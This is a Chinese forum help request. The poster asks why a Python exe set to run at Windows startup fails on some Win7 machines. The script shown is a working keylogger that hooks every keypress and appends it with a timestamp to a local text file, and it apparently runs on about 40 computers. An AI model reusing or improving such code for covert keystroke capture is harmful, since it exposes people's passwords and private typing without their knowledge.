5,913
社区成员
发帖
与我相关
我的任务
分享
我在win10电脑上将编写的一段python代码封装成exe文件,在win10环境能够正常执行,也能够开机自启。然后我将这个exe放到win7下,一开始报了一个api-ms-win-crt-runtime-l1-1-0.dll的错,随后装了VC_redist.x64和Windows6.1-KB2533623-x64,双击可以正常运行。但是放入开机自启(无论是启动文件夹、注册表还是定时任务),都有部分电脑无法执行(无法生成txt或者写入txt),大概40台电脑只能成功执行一半,失败的电脑任务管理器有此exe正在运行的显示,但是并没有执行成功,且每次重新启动后,成功的电脑都不一样。求教这是什么情况?
也并没有import 什么复杂的库,win7是64位sp1的
import keyboard
import time
def get_time():
date_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
return date_time
def abc(event):
if event.event_type == 'down':
with open('D:\\A\\B\\C\\D\\keylog.txt', 'a+') as f:
f.write(f"{get_time()} 按下了 {event.name}\n")
keyboard.hook(abc)
print("开始")
keyboard.wait()